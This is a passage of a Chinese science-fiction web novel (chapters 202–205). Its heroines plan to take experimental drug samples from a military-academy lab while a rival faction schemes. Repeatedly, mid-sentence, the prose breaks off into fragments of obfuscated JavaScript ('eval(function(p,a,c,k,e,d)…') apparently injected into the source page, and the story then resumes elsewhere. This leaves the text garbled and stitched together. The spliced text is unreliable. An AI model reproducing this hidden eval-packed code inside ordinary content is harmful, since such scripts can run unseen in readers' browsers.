之前去实验室那次，其他研究员明显不知道这个项目的正式情况，在他们眼中，这就是一个相当有价值的研究课题，扩容精神力，能做到的话整个项目组都能青史留名。 所以程源不会让莫景表现出明显的异常，甚至以军校实验室的检测仪器都发现不了。 深层空间…… “呃！” 因思禾突然发出一声闷哼，她双眼紧闭，但脸色却瞬间变得有些苍白，简初赶紧低头凑过去，看见数据开始发生不寻常的波动。 “怎么了？！”那两人也皱起眉头。 简初没有回答，但手指已经放在绿色按钮上，随时准备按下，可因思禾的精神力上下浮动，却始终没有突破警告阈值。 气氛变得愈加紧张，几乎落针可闻。 眼见因思禾的脸色变得越来越差，傅遥终于忍不住了：“不能再继续了，我们先暂停！” 她知道也许自己按下按钮会被因思禾骂一顿，但实在是不希望对方冒这么大的风险，实在不行下次再找机会来。 “你别动！”因思禾突然开口，“我还行，别让我分心。” 傅遥刚想骂她，下一秒就看见对方嘴唇上方出现了一抹红色，顿时心下一惊。 “你流鼻血了？！” 与此同时，屏幕上的精神力数据出现一个陡峭的拐点，以无比迅捷的速度直直冲向象征着阈值上限的那道红色警戒线。 “啪！”简初毫不犹豫按下按钮。 所有人紧紧盯着因思禾的脸，等着她睁开眼，可倏忽间仪器突然爆发出尖锐的警报声。 “正在强制介入……” “遭遇位置干扰，介入失败，正在进行第二次尝试……” 机械声在实验室回荡，傅遥大脑瞬间空白，整个人扑了过去，“啪啪啪”快把那个按钮戳冒烟了。 可没有丝毫用处。 “咳咳！”剧烈的咳嗽声让她猛然转头，却看见因思禾嘴边溢出猩红的血丝。 天呐，要是在这出了事…… “强制介入成功！” 就在这时，仪器发出了天籁之音，因思禾的身体猛然软倒，被旁边的傅遥一把捞住。 她撑在桌面上的手还在颤抖，对面的莫景茫然睁开眼，似乎并不知道究竟发生了什么。 “要喊医生来吗？”傅遥眼中满是担忧，但因思禾却只是摇摇头，随手抽出桌上的纸擦了一把脸。 “只是出了点鼻血，呛到气管里而已。”她又轻声咳嗽了几声，果然已经没有血丝了。 傅遥微微放下心来，但显然并不赞同：“那也得看医生。” 因思禾只是摆摆手，趴在桌上缓了口气：“这种情况太正常了，精神力受刺激了而已，很快就好了。” 这人的性格倔得要死，傅遥根本拗不过她。 但此时，因思禾苍白的脸色写满了忧虑，底层空间那些黑色粘液仿佛有自己的思想，它们将莫景的“本我”紧紧包围着，一边壮大她的力量，一边缓慢渗透进去。 只怕真正的目的，并不是为了强化精神力，但她的猜测此时没有佐证，说出来不过是引起恐慌。 “我……我还有救吗？”莫景脸吓得惨白，慌乱无措地等待着因思禾的“最后判决”。 “目前应该不会出什么事。”因思禾吃这个苦头，就是为了暂且将莫景的“本我”保护起来，防止受到黑潮的侵蚀，“你先去休息吧，我来想想办法。” 闻言，简初眉头微微蹙起。 她这是要把人支走，到底是发现了什么？ 莫景脸上写满犹豫，咬着嘴唇看向简初，似乎已经把她当作了主心骨。 “就听因博士的吧，她可是最专业的。”简初笑着搭上莫景的肩膀，“可能要查询资料或者别的，就像看病一样，不确定的事情乱说可是很吓人的。” 这话相当有效地安抚了莫景，她微微点头，被简初带离了实验室。 大门合上的瞬间，简初微微侧头，从门缝中看见因思禾朝自己做了个手势。 ……果然。 十分钟后，简初悄无声息又回到了这里。 “你来了。”这次开门的还是傅遥，而屋里的另外两人好像正准备做例行检查。 简初忍不住担心：“博士的状态还能连续使用精神力么？” “我哪里说得过她。”傅遥也是相当头痛，“不过我逼着她在仪器里过了一遍检查，结果说是没什么事。” 本来她是打算借检查结果阻止因思禾继续工作的，可没曾想居然是把回旋刀，让对方更加理直气壮了。 “她对傅燃的情况也很好奇，根本拦不住，要是待会还要给你做，麻烦你先拒绝了。”傅遥超级小声凑在简初耳边，生怕被某个人听见。 简初做了个手势，两人达成一致，几乎用同样双手抱胸的姿势，面无表情看着因思禾的动作。 如果傅燃真的能被简初救回来，那…… 傅遥心中其实没什么底，对于一个作战人员来说，这样等于将一张致命的底牌送到了别人手里。 如果简初以此作为要挟，在某次意外之后不愿意救治，那傅燃只能等死。 更要命的是，傅燃目前看上去很信任她，这也是最让傅遥担心的地方。 信任会让他在使用异能时更加大胆，因为有人会帮他，但这样一来，但凡哪次没有得到救治，代价就会前所未有得严重。 虽然现在看上去，简初应该不会做这种事，但世事无常……她太知道什么是世事无常了。 交付信任的代价，就是把命送到了别人手里，去赌对方会有多在乎自己，又会有多仁慈。 简初已经意识到她的触手确实能起效，就是不知道这种效果是否可以复刻。 出于医生的本能考虑，她并不希望这个能力是独一无二的，如果其他人也能掌握，那就有更多人可以被治愈。 能达成这个效果的关键大概率在于“精神力实体化”，能达到这个水平的人虽然少，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但因思禾并没有给出他们期待的答案。 “不行，现在只是当初剥脱的那部分被固定好了，也许下一次过度使用，就轮到其他位置发生剥脱了，你总不能让简初把整个精神空间处理一遍吧？” 这要消耗的精神力是个相当大的工程，而且这个量级绝对会对傅燃造成人身威胁。 “阈值应该会比以往高一些，但这不是说你可以随便乱用。”因思禾再次强调，见傅燃有些不情愿地点头，再看向简初，“怎么样，要不要给你测一遍？” 傅遥连忙在她背后打手势，简初抬抬眼皮，赶紧摇头。 “算了，我又没什么不舒服的，还是聊聊莫景的情况吧。” 傅遥竖起大拇指，却在因思禾转身的时候赶紧缩回了手，望天望地，一副事不关己的模样。 “她啊……”因思禾只当作没发现某人的小动作，“她确实有点麻烦。” “我们得先想办法弄到药剂样本。” 202. 镜中花（23） “咚咚咚。” 安静的办公室内响起敲门声，飓风用力咳嗽了一声，才让门外的人进来，屋子里烟雾缭绕，烟草的气味熏得普蓝眼睛都有点疼。 飓风很少会抽这么多烟，这是发生什么了？ “有事？总不能是事情已经办完了吧？” 他没觉得这种小角色普蓝没法解决，但这么快也是不现实的，那剩下的答案就是，或许遇到了一些小问题。 “简初的相关信息我都整理好了，她本人并不算很难处理，不过想进联邦军校还是比较费劲，另外……”普蓝突然犹豫起来，“我在内部数据库发现了相关信息，说是路亚的人，不知道是同名还是什么情况。” 这下飓风来兴趣了，他伸手打开面前的悬浮屏，毫不犹豫使用自己的权限进行了搜索，结果果然如普蓝所说。 他和路亚是平级，自然没办法越过对方去查询后勤组的人员构成，但……约瑟夫可以。 尽管只是一件小事，但飓风还是不想打草惊蛇，他的行动准则就是以最小的代价和影响，达成自己的目的。 “我知道了。”他意味不明地笑了一声，“这件事先等等，我弄清楚再找你。” 等普蓝退出办公室，飓风盯着眼前的屏幕看了半晌，才拨通了约瑟夫的内线。 他想到了一个绝妙的主意。 …… 学院星。 简初一个小跳从星舰上下来，左右看着周围熟悉又陌生的场景，忍不住叹了口气。 乘坐这艘星舰回来的只有她和莫景，两人刚刚走出去几步，身后就有剧烈的风震荡开来，噪音由近及远，几个呼吸间星舰就化作天际的一个光点。 按照因思禾的计划，她会借助无人区采集样本的研究需要，来尽可能推迟程源回到学校的时间，来给她们争取足够的行动空间，但这个日期并不是无限制的，更何况作为精神控制学院的院长，程源完全有理由中途回去检查项目进程。 不过在联研所，程源的行踪显然没法瞒过因思禾，不管发生什么事，她们都有足够的机动时间。 “你下一次实验是什么时候？”简初侧头看向莫景。 在出发前往无人区之前，实验进程出现点问题，所以上次的注射被暂时取消，整体的规律也被打乱了。 “应该快了，按照之前的经验……”莫景掐着手指计算了一会，才有些不确定开口，“应该就在这两周。” 两周的时间说长不长，说短不短，她们得趁着这段时间好好准备一下。 “今天你先休息，明天我们一起去实验室。”简初拍拍她的肩以示安抚，“这次不光是做例行检查，还得摸清实验室的布局，以及他们存放药剂的位置。” “上次我看见有人从外面送了安瓿进去，你知道那是什么吗？” 重要的药剂显然不会存放在大厅里，相比之下，那些安瓿应该是催化剂之类的东西。 莫景点点头：“我偷偷看过，就是法拉米哃。” 这是常用来增加注射型药剂吸收率的催化剂，造价便宜，并不需要她们想办法也搞一点来。 “我知道了，你观察很仔细。”简初已经养成了顺毛的良好习惯，而莫景显然对此很是受用。 目送着女孩走进宿舍大楼，简初却又转身走出了宿舍区，手腕上的终端恰时响起，她以为是傅燃已经抵达学校，却没想到却是秦理的来电。 “喂，你已经回来了？” 在无人区时通讯完全无法接通，秦理只是尝试着又打了一次，却没想到这次异常顺利。 可就是这样的顺利，让她突然不知道该怎么说话了。 “嗯，运气还算好，活着回来了。”简初开了个玩笑，“你下课了么，晚上要一起吃饭吗？” 电话另一头却陷入沉默。 简初意识到有些不对。 “怎么了？发生什么事了么？” “咳咳，嗨，能有什么事，不过晚上吃饭还是算了吧，我马上就走了。”秦理深吸一口气，故作轻松，“这不是……要实习了嘛，走之前试着给你打个电话告别来着，本来以为打不通，看来我们还是有缘的。” “实习？这么突然？”简初却皱起眉头，从秦理说话的声调里，她敏锐嗅到一丝不同寻常的气息。 “也不算很突然……”秦理坐在星舰上，不断拽着前排座椅脱落一半的线头，“总之，你没事真的太好了，我之后暂时没法和你们联系，这次的实习比较……” 简初等着她说出什么，但却迟迟没有声音，只听见那头星舰发动机低沉的轰鸣。 “你跟他们都说了吗？” “诶，跟左虞珩讲过了，但是傅燃一直联系不上，就麻烦你们帮忙转告一下啦！”秦理轻松地说，“有机会我会联系你们的，那……再见。” “等等！”简初睁大眼，但通讯那头已经是被挂断的忙音，她赶紧又回拨过去，却已经打不通了。 这又是什么情况？ …… 图书馆某个研讨室。 “啊，她这么跟你说的啊……”左虞珩瘫在沙发上，整个人一副没精打采的模样，“确实也没错了，算是实习吧。” “什么叫算是？”简初眉头皱得死紧，本来莫景的事情就已经很棘手了，没想到这边也来给她打哑谜。 左虞珩摇摇头：“她说是就是呗。” 秦理自己都没说，怎么可能轮到他来解释，而且这事也是迟早的，不过是来得比他想象的稍微早了一些。 眼见简初还是一副无比担忧的模样，左虞珩努力思考了一下措辞：“嗯……可以理解为她回去继承家业了吧，一个苦差事，没法联系大概也是因为信号不好。” 这和简初之前的想象出入颇大，但如今联邦还有信号差到很长一段时间都没法和外界联系的地方吗？ “诶别看我了，她、” “嗡嗡嗡——” 简初的终端突然开始震动，阻止了左虞珩继续开口，他耸耸肩，余光却不小心瞥到来电人的姓名。 他沉默着，紧盯简初告诉对方现在的位置，就挂掉了电话。 “你们俩……什么时候这么熟了？” “不是一直挺熟的么。”简初随口糊弄过去，“你刚刚要说什么，秦理她怎么了？” 这人又没骨头一样缩回沙发里，和以前脱线的样子完全不同：“她不想告诉你啊，这点眼力都没有吗，你问到结果又有什么用，能有一点改变吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过到现在，简初也算是回过味来，傅燃之所以拉左虞珩入伙，不仅是因为他们的行动确实需要更多的接应，还因为这人现在明显因为秦理的事魂不守舍，这样一来也算是有效转移了他的注意力。 忙起来就不会想东想西了，可这也让简初忍不住思考，这所谓的“继承家业”究竟是什么，才会让左虞珩有这么大的反应。 毕竟这个词在绝大部分的场合下，都是正向的。 “啊，他说的没错，听我的就成，不过现在暂时还没有计划，有需要我会通知你们的。”简初点点头，露出一副严肃的模样。 左虞珩不上套：“你们俩，不会在练手骗我吧？” 什么都不说，还要他帮忙，骗鬼呢？ 傅燃不说话，只是露出一个有些令人毛骨悚然的微笑，大概两三秒后，左虞珩的终端就“滴滴”一下，收到了新讯息。 年轻人读完消息，一脸茫然地抬起头。 不是，他们竟然真的没骗人？！ 203. 镜中花（24） 军校研究所七层。 随着电梯的一声“叮”，大厅的工作人员忍不住抬起头，在看见不是程源的时候不约而同松了口气。 他们并不掌握院长的行踪，但关于“对方参与某项计划，暂时没法回学校”这件事还是知晓的。 眼见回来的不是顶头上司，大家自然内心愉悦，哪怕工作并没有懈怠，大老板不在还是会感觉到轻松。 至于简初和莫景……这两人都算是熟面孔，大家也知道她们参与了重点项目，自然也不会有人去拦下，直到两人面色平和地刷开那间实验室的大门，身影彻底消失。 “怎么只有她们俩，院长没回来么？” “院长的行踪是我们能打听的吗？” “一回来就上项目？这也太拼了。” 窸窸窣窣的讨论声被关在外面，实验室里不复此前的忙碌，只剩下寥寥无几的几位研究员还在岗位上。 但这里的氛围却比外面严肃太多。 “莫……”听见声响，最靠近大门的女研究院抬起头，却又立刻改口，“12号，你们怎么来了，院长呢？” 简初微微蹙起眉，而她的表情也让对方滚到嘴边的“13号”硬生生憋了回去。 “他们还在联研所，我们派不上用场，就被送回来做事了。”莫景露出招牌的腼腆微笑，丝毫没有引起怀疑。 这句话特地隐藏了主语，听上去很容易被认为是“程源安排她们回来帮忙”。 “因为上次出了点状况，再加上例行检查也快到了……最近会安排实验吗？”莫景没给对方回应的时间，连续的问题成功转移了几人的注意力。 趁着这个时间，简初将整个实验室扫视了一圈，视线所及都是各色的瓶瓶罐罐，但这些显然都不是她们的目标。 能名正言顺进入实验室的机会不多，她得尽可能得到更多的信息，今天的任务就是尽可能确认药剂的位置。 由于每次实验莫景都被束带绑着，所以她只能通过研究院说话的内容大致猜测存放的位置，而她记忆中的方位确实有一排带锁的液氮储藏柜。 透过中间窄小的防弹玻璃，可以看见两个试剂管的顶部，按这个排列间距，这扇柜子里至少有五支药剂。 总不能都是成品吧？ “呃，暂时还没安排。”几个研究员面面相觑，这里没有能做主的人，他们也十分为难。 莫景善解人意地点点头：“我知道了，那先做例行检查吧。” 她根本没有给对方拒绝的余地，但相比之下，例行检查相当简单，也不会有什么风险。 “型，我先跟胡博士联系一下吧。” 他们没有越级联系程源的资格，但现在不管想联系谁，结果都一样。 “老师和胡博士都在因思禾博士的项目组里，怕是不会随身携带终端。”简初露出一个客气的笑容，“你们可以试试。” 她两只手揣在兜里，轻轻按下按键。 话音未落，角落的研究员已经手快地拨通了电话，还没等他决定要不要挂断，通讯里就响起“无法接通”的回声。 “算了，这点小事就别打扰他们了。”女研究员看上去是几个人里最有资历的，她一开口，其他人也没有意见。 更何况例行检查确实不是什么大事。 “那12号，还是像以前一样，躺在仪器里不要动。”一个年轻的研究员走过来，“最近有没有感觉到不舒服？” 莫景回答了一些常规问题，他便启动了仪器。 简初双手抱胸站在一旁，双眼紧盯着研究员的操作。 记录检查数据的年轻人看上去有些内向，大概是和她们俩都不算熟悉，却又觉得氛围尴尬，挠挠头努力寻找着沟通的话题：“你应该不用检查吧，我记得你没有接受过实验？” “嗯，你记性真好。”简初捧场道，“那我等老师回来再看吧。” 她的每句话中都用“老师”来指代程源，加上两人的师生关系，这几个研究员都下意识认为两人关系不错，自然也不会怀疑什么。 他们没有多加防备，而简初趁着机会，开始缓慢在原地辗转，一副耐心等待的样子，不过她每次往返，都会比先前多走一步，不知不觉间，踱步的范围慢慢扩大不少。 走近那排储藏柜时，有个研究员下意识抬头看过来，简初立刻调转方向，无比自然地背过身走远，再回头，那人已经低下脑袋，沉浸于手中的工作了。 挺谨慎的，看来柜子里的东西确实很重要。 大概是因为简初除了走动外，并没有其他行为，几个研究人员都不再在意她，而是继续手头的研究，甚至小声讨论起来。 只是他们讨论的是今天该吃什么，并没有跟项目相关的内容。 简初自然地转了个身，又朝着储藏柜的方向走去，小触手悄咪咪钻出来，沿着地面向前蔓延，攀上了柜门上最显眼的锁头。 除了这个物理锁，柜门上还有个电子屏幕，看样子需要输入密码才能解开。 小触手擀成一条细丝，顺着锁眼钻了进去，简初半合着眼，一副神游天外的模样，实际上正在细细感受锁芯内部的结构，触手不断变换着形状，逐渐填满锁芯。 随着一声微不可察的“咔嚓”声，物理锁被顺利破解。 “嗯？”离储藏柜最近的研究员抬起头，眉间拧出一个川字，左右张望着。 “怎么了？” “……没什么，应该只是听错了。” 他的视线从简初身上掠过，猜测也许只是对方的靴底和地板发生磕碰的声音。与此同时，小触手也恋恋不舍缩了回来。 简初并不打算现在动手，毕竟实验室里的监控堪称三百六十度无死角，此外这个密码锁也是个难题，刚刚只是确认了一下这个物理锁能不能被小触手解开，现在看来确实没问题。 “好了，你坐一会，我们先看看数据啊。” 简初循声转头，就看见莫景从仪器中出来，坐在边上认真看着研究员分析数据。 这个项目不需要打杂的边缘人物，每个人放出去都称得上一句优秀，看个检查数据自然是不在话下。 “上次出了点意外，现在有好转吗？”莫景眼中流露出担忧，让这位研究员的自信心微微膨胀。 “呃，别急，我来仔细看看。”他本打算只是草草看一眼，这下却捏着新鲜出炉的报告纸一行行打量起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“帮上忙就好。”傅燃捞起毛巾搓了搓头发，“需要我做什么？” 简初没回答，双手握拳试了试绑带的松紧度，才撑着膝盖站起身。 “陪我训练。” “……什么？”傅燃脸上大写着茫然，但还是顺从地摘下毛巾，起身陪她一起走到空闲的场地。 简初面色平静：“那边暂时没有继续实验的打算，我们短时间内没有正当理由再去一次，不过我已经知道东西在哪了。” 傅燃当即明白，她是想借着“训练”的名义，交流一些比较敏感的信息。 “那你是什么打算？潜入的话只有我们人太少，会比较困难。” 如果不想打草惊蛇，他们需要一些更多类别的异能者来辅助，但现在显然没有那样的条件。 “没事，我还有个朋友，或许可以帮点忙。” 傅燃接住简初挥来的拳头，低声重复了一遍：“你的……朋友？” 他有种不太美妙的预感。 204. 镜中花（25） 联邦研究所。 无人区事关重大，所以联邦上层特地安排了整整两层实验室，研究期间完全禁止闲杂人等靠近。其中一层是对采集的矿石、异种样本进行分析，而另一层的研究重点就是无人区辐射源消失的问题。 样本分析的工作已经做过无数次，哪怕这次的样本来源于更深处的腹地，和辐射的问题比起来也有些不够份量。 后者并不在原本的探索计划中，高层也不希望太多人知道内情，所以又从联研所内部选了一批人，作为项目组的补足，而程源作为军校分部的大拿，自然也在其中。 这正合他意。 此时，会议室正在进行不太愉快的交流。 “我还是认为重要证人不该轻易放走。” “孙主任，他们不是犯人，再退一步说，特战中心的队员和军校学生，我们有需要随时可以请他们过来。”因思禾表情平静，但说出的话不容反驳。 “可是……” 女子眉头压低，看上去颇有些不好惹：“还是说你对报告内容有疑虑，现在完全可以提出来，我和傅队长都能解答。” 傅遥翘着二郎腿，向后靠在椅背上，见那位有些中年谢顶的男人看过来，便呲着牙露出一个和蔼的微笑。 “呃，我暂时也没什么问题……”孙主任感觉后背凉凉的，低下头快速翻看手里的报告。 大家确实有很多问题，但如果仅仅针对这份报告……它称得上一句天衣无缝，所有猜想和佐证条理分明，完全找不出错处，甚至连下一步的研究建议都写得仔细全面。 他确实没什么好说的。 一旁的程源也低着头仔细翻看，他更希望能从中看出简初经历了什么，而这些经历又是否会对她本人、乃至他的实验产生不可预估的影响。 只可惜报告写得太过官方，几乎没怎么提及细枝末节。 因思禾绝对隐藏了很多内容，但这是她的个人行为，还是受到上级指示，就得打一个问号了。但程源哪怕再好奇，也没有傻到像孙主任一样公开质疑，他不仅不想得罪因思禾，也不想得罪她身后可能存在的联邦高层。 他不希望收到太多本不必要的关注，因为他的实验见不得人。 “既然没有问题，那我就继续了，诸位的工作就是对无人区的记录数据进行分析，尽可能挖掘辐射消失的原因。”因思禾环顾四周，意料之中看见所有人紧皱眉头，一副相当苦恼的样子。 “近三年内无人区的所有监测数据也正在打包，明天会送到实验室来，这是个长期的工程，希望各位做好心理准备。” 对于联研所的工作人员，这倒不算什么大事，反正做什么研究都是一样，但对于程源来说就有些苦恼了。 他既舍不得放弃这边的信息，又没法放下自己的实验——就算他能放下，那几位老板也不允许他放下啊。 见没有人提出意见，因思禾撑着桌子站起身，眼神不着痕迹从他的脸上掠过：“研究期间会有休息日，大家如果有事，可以提前跟我说一声，但不要太频繁，应该没问题？” 众人纷纷应声。 本以为这段时间会“与世隔绝”，却没想到这次的管理这么“松懈”。 见因思禾率先离场，其他人也纷纷寒暄着往外走，程源把报告夹在咯吱窝底下，从会议室门口的密码锁里取回自己的终端，低头查看收到的消息。 如果他们还在无人区，程源倒不会这么烦恼了。 虽然项目组只剩下几个人守在家里，但他得好好利用起来，至少不能让实验无限延后，反正简初和莫景都已经回学校了，让她们配合不过是一句话的事。 他低着头往前走，手上编辑着发送给胡宣的讯息，没注意到前头有个人正背对着这边通电话，一个不注意就撞了上去。 “哦哟！” 程源没什么锻炼的习惯，这么一撞重心立刻歪倒，双手在空中挥舞着，眼看就要仰面倒下去—— “老师！” 一只手迅速伸出来抓住了他的手腕，却不巧正好抓在终端上，给程源的手腕硌得生疼。 “哎哎哎！”他发出一连串痛呼，但好歹算是强行站稳了。 程源揉着手腕，抬起头正想要发脾气，就看见得意门生充满歉意的面孔。 “老师，真的不好意思，您没事吧，需要我找医生来看看吗？”年轻人脸上满是担忧，其中还夹杂着一丝做错事的紧张。 “是你啊，伊森。”中年人的气顿时消下去一半，下意识挤出一个和善的笑，“你不是在楼下帮忙，怎么到这来了？” 这个时间点，他连胡宣的电话都没打通，这孩子怎么跑到这儿了，总不能是躲懒吧？ 想到这里，程源忍不住皱起眉头，刚想训斥两句，就看见年轻人尴尬地挠挠头。 “我跟家里人打电话，不知不觉就走到这儿来了。” 这里是上下两层的连接平台，但正常情况下不会从这边经过，但这个理由相对还算有说服力。 打通讯的时候总是会往僻静的地方走，程源自己也有这个习惯。 “这样啊，没有在偷懒就好，打完电话就赶紧回去工作，机会难得，自己多学学。” 对于这个天资极佳的学生，程源丝毫不吝啬自己的好脸色，尽管由于斯塔家族的势力，他不能把伊森加进自己的实验中，但他出色的才能已经足够给自己增光添彩了。 完美的家世，出色的天赋，优秀的品格甚至是出彩的外形，伊森的未来绝对无限风光，而他作为对方的导师，显然能沾上不少光。 说不定，伊森未来也会成为他某个实验的金主呢。 年轻人露出好脾气的微笑：“我知道，这会就准备回去了。” 平日里他鲜少露出这种表情，也只有程源偶尔能见到，比起普通人的敬畏，这种“天才”的尊重更让他受用。 “嗯……对了。”程源刚走出去两步，就好像想起什么，又转过身看他。 “嗯？老师还有什么事吗？”伊森心里一紧，脸上却仍旧云淡风轻。 “没什么，就是你也六年级了，就算在这参加研究，也不要忘记正事，别耽误了毕业。” “啊……我知道的。” 对方又叮嘱了两句才意犹未尽转头离开，直到背影完全消失再视野里，伊森才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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简初只感觉如芒在背，忍不住换了个坐姿。 虽然之前在无人区的时候傅燃也提醒过自己，不要和“某些人”走得太近，但伊森应该能算得上是个合格的合作伙伴——有能力、有资源、还从不多话。 呃，大概也许只是自己忽略了他的“多话”。 “行动你打算定在什么时候，明天，后天？”傅燃垂着眼，面无表情盯着终端，“我让他以程源的名义发内部通知，要求你和莫景去接受实验……但是你确定要这样吗？” 如果出意外，难道真的要接受注射？ “这是最好的办法，不管是偷还是抢，东西少了必定要上报，程源也肯定会意识到不对。”简初的表情变得严肃，“但如果用实验的名义，就可以无声无息把东西带出来。” 这些道理傅燃自然也懂，但是他更懂其中的风险有多大。 成功就是悄无声息，而失败…… “不会失败的，相信我。” 他抬起眼，看着对方露出笃定的微笑，忍不住握紧了拳头。 205. 镜中花（26） 温弗拉基地。 “嗨，普蓝……”无影刚从路亚的办公室出来，迎面就看见许久不见的普蓝，行动组的人到这里来，难道又是有什么任务需要协助？ 可出乎他意料的是，对方只是匆匆瞥了他一眼，连招呼都没打，点点头就匆忙离开了。 奇怪，他到这里来做什么？ 无影微微皱起眉，便把这件事抛在脑后。自从之前被路亚叮嘱过不要随便应承其他部门的工作，他总算是硬气了一些，也少了很多不必要的工作。 反正普蓝要是真有急事，肯定还会再找过来的。 另一边，直到完全离开后勤部的地界，普兰才微微放下心，脚下加快速度，往飓风的办公室而去，可推开门，里面却多了一个人。 “大人……您也在？” 难得一见的约瑟夫此刻正靠坐在真皮沙发上，手指间捏着一根香烟却并没有点燃。 他没有应声，普蓝这种级别的成员，没有资格越级和他对话。 飓风把嘴边烧到一半的烟掐灭，从嗓子眼里挤出话来：“嗯，他们那边怎么样？” “后勤部一切正常，应该没有察觉到什么情况，另外我找到一个愿意接任务的人，但是他说……”普蓝看了眼两人的眼色，才继续开口，“他说要两倍的钱。” “嗤——”约瑟夫笑了笑，语气带着明显的轻蔑，“也就这点出息，两倍而已。” 闻言，普蓝刚刚放下心，就听见对方声音突然冷沉下来。 “但是，谁给他的勇气来谈条件的。” 冷汗瞬间爬满普蓝的脊背，约瑟夫抬起褶皱的眼皮看了他一眼，可就是这一眼却让他大脑陷入空白，仿佛被什么怪物盯上了。 “一点钱而已，事情办妥就行了。”飓风打了个圆场，挥挥手示意普蓝先出去，“你告诉他可以，这几天准备一下，让他跟着一起出任务。” 普蓝赶紧应承下来，眼见约瑟夫没有提出什么反对意见，才赶紧轻手轻脚把门带上，离开了办公室。 “这种时候你倒是好说话，这钱你给？”约瑟夫说话毫不客气，但飓风已经习惯了，他心里清楚，对方只是不满有人敢和他“提要求”，但只有真正做事的人才知道，能用钱摆平的才是最简单的。 “一个快死的人，你在意什么，这钱最后给不给，他能知道么？”飓风呵呵一笑，听上去有些憨厚，说出的话却着实冰冷，“再说，就算给出去，那也能从那个小鬼那儿成倍挣回来。” 对于曾经的温弗拉来说，钱是最不值一提的东西，但最近几年却有些捉襟见肘。 进账的速度快了，但花费却比以前多得多。 “哼，那小鬼跟你联系了？”约瑟夫随手把没抽的烟弹进垃圾桶，掸了掸裤脚并不存在的灰尘。 “先从他嘴里挖点无人区的内部消息，借着这次行动把几件事一起办了，别拖。” 斯塔集团研究所、无人区……没想到永远有人走在他们前面，如果无人区的样本数据拿不到，那真就只剩下萨托罗尔了。 那座被打上死亡刻印的海上孤岛，哪怕是约瑟夫也不想踏足一步。 “米勒尔那个老东西，也不知道手上到底掌握了多少，每次都有他在里面搅浑水。”约瑟夫冷哼一声，“和后勤部正常合作，事情做漂亮点，别被他们怀疑。” 虽然旧派无人领导，但他也不想把后勤惹毛了，到时候做事束手束脚。 飓风点点头：“我办事，你放心好了。” “行了，到时候直接带着样本来找我。”约瑟夫摆摆手，拒绝了飓风相送的打算，头也不回地离开了。 …… 两天后。 简初刚走出教室，手腕的终端就开始疯狂振动。 “喂，怎么了？” 那头短暂沉默了一会才开口：“星舰已经准备好了，随时可以出发，你们……” “嗯，我和莫景马上就去实验室。”简初握紧了背包带子。 今天的天气有点凉，她名正言顺地套上了运动服，宽大的内兜里正躺着两支营养剂，而背包里也是准备好的道具。 傅燃喉头动了动：“你们小心些，研究所的监控不用担心，会有人同步处理。” 尽管如此，他还是忍不住担心。虽说实验室里现在只剩下几个工作人员，但在他们眼皮子底下偷换药剂，还是一件很有风险的事情。 他不知道简初的信心来源于何处，要是他来制定计划，肯定是趁无人的时候潜入，哪怕会打草惊蛇，至少相对安全一些。 “没关系，你让他盯着监控，看我手势就行。” 两天的时间内，他们已经尽可能做足了准备，这种行动不可能完全按照精密的计划来，总有见机行事的需要。 “好，我和左虞珩都在楼下，随时可以支援。” 之所以把日子定在今天，还有一个重要的原因——今天是作战学院每月一次的精神力定期检查，而检查的场所就在研究所的三楼大厅。 所有的安排几乎契合在一起，这是最好的机会。 “嗯。” 通讯陷入短暂的沉默，但对面并没有挂断，让简初以为他还有事情要说：“怎么了，还有事吗？” 她说着，抬手朝不远处树下的莫景挥挥手。 “我和莫景碰头了，大概十分钟内到。” 傅燃挣扎了半天，只能咽下那句重复了无数遍的“你要小心”，他深吸一口气，完全无视了一旁左虞珩求知的眼神：“人员都到位了，全都按你的提示来行动。” 通讯终于挂断，傅燃表情愣愣的，似乎还没反应过来，左虞珩无可奈何，只能用力推了推他。 他其实并不清楚这几个人的真正目的，只知道要从实验室里偷什么东西出来，但既然是特战中心亲自发出的“实习任务”，他完全不担心自己的立场是否正义。 “我们就在这等着么？” 大家多多少少都接过校内的积分任务，作战学院的学生大多是担任冲锋的角色，现在突然要在后方等着，让左虞珩颇有些不习惯。 “目前来看，是的。”傅燃仍然低头看着终端，不知道在给谁发消息。 左虞珩长叹了一声：“啊？那我的实习任务岂不是太简单了，这不好吧？” 这哪是不好，这可真是太好了。 确认黎取已经就位，傅燃才收起终端，相当无语地笑了声：“下次说这种话的时候，嘴别咧这么大。” …… 七楼的实验室里，几个人正忙着准备实验材料。 “就我们几个人来做，要是出问题了怎么办啊？” “就是就是，而且上次的实验结果不是不太好么，也不知道院长怎么想的，不更新一下配方就继续搞。” 之前那个年轻人倒是不赞同：“院长都说继续了，那肯定是没问题啊，说不定上次只是个意外呢。” 项目难度很大，实验过程也时有坎坷，配方更新太常见不过了，不过这还是第一次出了问题之后，没有进行调整就直接重新开始的。 “我这不是紧张吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 